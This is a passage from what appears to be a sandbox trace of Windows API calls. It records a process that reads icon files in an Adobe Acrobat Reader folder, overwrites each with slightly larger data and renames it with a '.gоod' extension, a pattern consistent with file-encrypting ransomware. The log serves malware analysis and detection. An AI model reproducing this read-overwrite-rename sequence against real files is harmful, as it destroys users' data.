nFileSizeLow=0x2b0)) returned 1 [0247.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0247.620] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png.gоod")) returned 1 [0247.621] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png", lpFilePart=0x0) returned 0x90 [0247.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0247.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png"), fInfoLevelId=0x0, lpFileInformation=0x3976f10 | out: lpFileInformation=0x3976f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1)) returned 1 [0247.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0247.840] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png", lpFilePart=0x0) returned 0x90 [0247.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0247.840] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0247.859] GetFileType (hFile=0x828) returned 0x1 [0247.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0247.859] GetFileType (hFile=0x828) returned 0x1 [0247.859] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x4a1 [0247.859] ReadFile (in: hFile=0x828, lpBuffer=0x37dd4c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x37dd4c8*, lpNumberOfBytesRead=0x208ebf98*=0x4a1, lpOverlapped=0x0) returned 1 [0247.860] CloseHandle (hObject=0x828) returned 1 [0248.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png", lpFilePart=0x0) returned 0x90 [0248.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0248.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0248.549] GetFileType (hFile=0x870) returned 0x1 [0248.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0248.549] GetFileType (hFile=0x870) returned 0x1 [0248.549] WriteFile (in: hFile=0x870, lpBuffer=0x38e42e0*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x38e42e0*, lpNumberOfBytesWritten=0x208ebea8*=0x4b0, lpOverlapped=0x0) returned 1 [0248.553] CloseHandle (hObject=0x870) returned 1 [0248.553] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png", lpFilePart=0x0) returned 0x90 [0248.553] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png.gоod", lpFilePart=0x0) returned 0x95 [0248.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0248.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x905cf764, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b0)) returned 1 [0248.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0248.554] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png.gоod")) returned 1 [0248.555] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8f [0248.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0248.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x38e5738 | out: lpFileInformation=0x38e5738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184)) returned 1 [0248.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0248.556] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8f [0248.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0248.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0248.556] GetFileType (hFile=0x870) returned 0x1 [0248.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0248.556] GetFileType (hFile=0x870) returned 0x1 [0248.556] GetFileSize (in: hFile=0x870, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x184 [0248.556] ReadFile (in: hFile=0x870, lpBuffer=0x38e5c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38e5c98*, lpNumberOfBytesRead=0x208ebf98*=0x184, lpOverlapped=0x0) returned 1 [0249.487] CloseHandle (hObject=0x870) returned 1 [0250.663] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8f [0250.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0250.663] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0250.879] GetFileType (hFile=0x89c) returned 0x1 [0250.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0250.879] GetFileType (hFile=0x89c) returned 0x1 [0251.089] WriteFile (in: hFile=0x89c, lpBuffer=0x38d0a18*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x38d0a18*, lpNumberOfBytesWritten=0x208ebea8*=0x190, lpOverlapped=0x0) returned 1 [0251.089] CloseHandle (hObject=0x89c) returned 1 [0251.120] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8f [0251.120] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png.gоod", lpFilePart=0x0) returned 0x94 [0251.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0251.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91e060b8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0251.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0251.120] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png.gоod")) returned 1 [0251.121] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x92 [0251.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0251.121] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x394c800 | out: lpFileInformation=0x394c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0251.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0251.122] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x92 [0251.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0251.122] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.122] GetFileType (hFile=0x824) returned 0x1 [0251.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0251.122] GetFileType (hFile=0x824) returned 0x1 [0251.122] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x228 [0251.122] ReadFile (in: hFile=0x824, lpBuffer=0x394ce20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x394ce20*, lpNumberOfBytesRead=0x208ebf98*=0x228, lpOverlapped=0x0) returned 1 [0251.122] CloseHandle (hObject=0x824) returned 1 [0251.150] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x92 [0251.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0251.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.151] GetFileType (hFile=0x824) returned 0x1 [0251.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0251.151] GetFileType (hFile=0x824) returned 0x1 [0251.151] WriteFile (in: hFile=0x824, lpBuffer=0x39c6e20*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x39c6e20*, lpNumberOfBytesWritten=0x208ebea8*=0x230, lpOverlapped=0x0) returned 1 [0251.151] CloseHandle (hObject=0x824) returned 1 [0251.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x92 [0251.152] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png.gоod", lpFilePart=0x0) returned 0x97 [0251.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0251.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91e9e9c1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0251.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0251.152] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png.gоod")) returned 1 [0251.153] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x95 [0251.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0251.153] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x39c8278 | out: lpFileInformation=0x39c8278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184)) returned 1 [0251.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0251.153] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x95 [0251.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0251.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.154] GetFileType (hFile=0x824) returned 0x1 [0251.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0251.154] GetFileType (hFile=0x824) returned 0x1 [0251.154] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x184 [0251.154] ReadFile (in: hFile=0x824, lpBuffer=0x39c8818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x39c8818*, lpNumberOfBytesRead=0x208ebf98*=0x184, lpOverlapped=0x0) returned 1 [0251.323] CloseHandle (hObject=0x824) returned 1 [0251.362] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 